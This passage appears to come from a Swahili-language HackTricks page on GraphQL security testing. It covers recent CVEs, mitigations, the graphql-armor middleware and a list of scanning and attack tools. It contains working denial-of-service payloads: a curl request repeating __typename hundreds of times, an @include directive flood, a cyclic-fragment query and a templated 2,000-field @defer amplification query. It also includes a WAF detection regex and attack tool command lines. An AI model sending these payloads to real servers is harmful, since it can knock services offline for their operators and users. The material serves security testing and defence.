\n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n__typename \n} ", "operationName": "cop"}' \
'https://example.com/graphql'
Recent Vulnerabilities (2023-2025)
Mfumo wa GraphQL unabadilika haraka sana; katika miaka miwili iliyopita, masuala kadhaa muhimu yalifichuliwa katika maktaba za seva zinazotumika zaidi. Unapokutana na mwisho wa GraphQL, hivyo ni vyema kufanyia uchambuzi injini (ona graphw00f) na kuangalia toleo linalotumika dhidi ya udhaifu zilizo hapa chini.
CVE-2024-47614 – async-graphql
directive-overload DoS (Rust)
- Affected: async-graphql < 7.0.10 (Rust)
- Root cause: hakuna kikomo kwenye directives zilizojirudia (mfano, maelfu ya
@include
) ambazo zinaongezwa katika idadi kubwa ya nodi za utekelezaji. - Impact: ombi moja la HTTP linaweza kuchoma CPU/RAM na kuangusha huduma.
- Fix/mitigation: sasisha ≥ 7.0.10 au itumie
SchemaBuilder.limit_directives()
; badala yake, chujia maombi kwa sheria ya WAF kama"@include.*@include.*@include"
.
# PoC – repeat @include X times
query overload {
__typename @include(if:true) @include(if:true) @include(if:true)
}
CVE-2024-40094 – graphql-java
ENF depth/complexity bypass
- Affected: graphql-java < 19.11, 20.0-20.8, 21.0-21.4
- Root cause: ExecutableNormalizedFields hazikuchukuliwa na
MaxQueryDepth
/MaxQueryComplexity
instrumentation. Vipande vya kurudiarudia hivyo vilipita mipaka yote. - Impact: DoS isiyo na uthibitisho dhidi ya Java stacks ambazo zina embed graphql-java (Spring Boot, Netflix DGS, bidhaa za Atlassian…).
fragment A on Query { ...B }
fragment B on Query { ...A }
query { ...A }
CVE-2023-23684 – WPGraphQL SSRF to RCE chain
- Affected: WPGraphQL ≤ 1.14.5 (WordPress plugin).
- Root cause: the
createMediaItem
mutation accepted attacker-controlledfilePath
URLs, allowing internal network access and file writes. - Impact: authenticated Editors/Authors could reach metadata endpoints or write PHP files for remote code execution.
Incremental delivery abuse: @defer
/ @stream
Tangu mwaka wa 2023, seva nyingi kuu (Apollo 4, GraphQL-Java 20+, HotChocolate 13) ziliweka incremental delivery directives zilizofafanuliwa na GraphQL-over-HTTP WG. Kila patch iliyocheleweshwa inatumwa kama kipande tofauti, hivyo ukubwa wa jumla wa majibu unakuwa N + 1 (envelope + patches). Uchunguzi unaojumuisha mawanja madogo elfu kadhaa ya kucheleweshwa kwa hiyo unazalisha jibu kubwa huku ukimgharimu mshambuliaji ombi moja tu – amplification DoS ya kawaida na njia ya kupita sheria za WAF za ukubwa wa mwili ambazo zinachunguza kipande cha kwanza tu. Wanachama wa WG wenyewe walionyesha hatari hiyo.
Mfano wa payload inayozalisha patches 2,000:
query abuse {
% for i in range(0,2000):
f{{i}}: __typename @defer
% endfor
}
Mitigation: disable @defer/@stream
in production or enforce max_patches
, cumulative max_bytes
and execution time. Libraries like graphql-armor (see below) already enforce sensible defaults.
Defensive middleware (2024+)
Project | Notes |
---|---|
graphql-armor | Node/TypeScript validation middleware published by Escape Tech. Implements plug-and-play limits for query depth, alias/field/directive counts, tokens and cost; compatible with Apollo Server, GraphQL Yoga/Envelop, Helix, etc. |
Quick start:
import { protect } from '@escape.tech/graphql-armor';
import { applyMiddleware } from 'graphql-middleware';
const protectedSchema = applyMiddleware(schema, ...protect());
graphql-armor
sasa itazuia maswali yenye kina kirefu, magumu au yenye maagizo mengi, ikilinda dhidi ya CVEs zilizo juu.
Zana
Scanner za Uthibitishaji
- https://github.com/dolevf/graphql-cop: Jaribu makosa ya kawaida ya usanidi wa mwisho wa graphql
- https://github.com/assetnote/batchql: Skripti ya ukaguzi wa usalama wa GraphQL yenye lengo la kufanya maswali na mabadiliko ya kundi la GraphQL.
- https://github.com/dolevf/graphw00f: Tambua fingerprint ya graphql inayotumika
- https://github.com/gsmith257-cyber/GraphCrawler: Zana inayoweza kutumika kukamata schemas na kutafuta data nyeti, kujaribu idhini, nguvu za kikatili schemas, na kupata njia za aina fulani.
- https://blog.doyensec.com/2020/03/26/graphql-scanner.html: Inaweza kutumika kama standalone au Burp extension.
- https://github.com/swisskyrepo/GraphQLmap: Inaweza kutumika kama mteja wa CLI pia kuendesha mashambulizi:
python3 graphqlmap.py -u http://example.com/graphql --inject
- https://gitlab.com/dee-see/graphql-path-enum: Zana inayoorodhesha njia tofauti za kufikia aina fulani katika schema ya GraphQL.
- https://github.com/doyensec/GQLSpection: Mfuasi wa Standalone na CLI Modes ya InQL
- https://github.com/doyensec/inql: Burp extension au skripti ya python kwa ajili ya majaribio ya juu ya GraphQL. Scanner ni msingi wa InQL v5.0, ambapo unaweza kuchambua mwisho wa GraphQL au faili ya schema ya ndani ya ndani. Inajenga kiotomatiki maswali na mabadiliko yote yanayowezekana, ikiyapanga katika mtazamo ulio na muundo kwa ajili ya uchambuzi wako. Kipengele Attacker kinakuwezesha kuendesha mashambulizi ya kundi la GraphQL, ambayo yanaweza kuwa ya manufaa kwa kukwepa mipaka ya kiwango iliyotekelezwa vibaya:
python3 inql.py -t http://example.com/graphql -o output.json
- https://github.com/nikitastupin/clairvoyance: Jaribu kupata schema hata ikiwa uchambuzi umezimwa kwa kutumia msaada wa baadhi ya databases za Graphql ambazo zitapendekeza majina ya mabadiliko na vigezo.
Skripti za kutumia udhaifu wa kawaida
- https://github.com/reycotallo98/pentestScripts/tree/main/GraphQLDoS: Mkusanyiko wa skripti za kutumia udhaifu wa kukatiza huduma katika mazingira dhaifu ya graphql.
Wateja
- https://github.com/graphql/graphiql: Mteja wa GUI
- https://altair.sirmuel.design/: Mteja wa GUI
Majaribio ya Otomatiki
https://graphql-dashboard.herokuapp.com/
- Video inayoelezea AutoGraphQL: https://www.youtube.com/watch?v=JJmufWfVvyU
Marejeleo
- https://jondow.eu/practical-graphql-attack-vectors/
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4
- http://ghostlulz.com/api-hacking-graphql/
- https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/README.md
- https://medium.com/@the.bilal.rizwan/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696
- https://portswigger.net/web-security/graphql
- https://github.com/advisories/GHSA-5gc2-7c65-8fq8
- https://github.com/escape-tech/graphql-armor
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.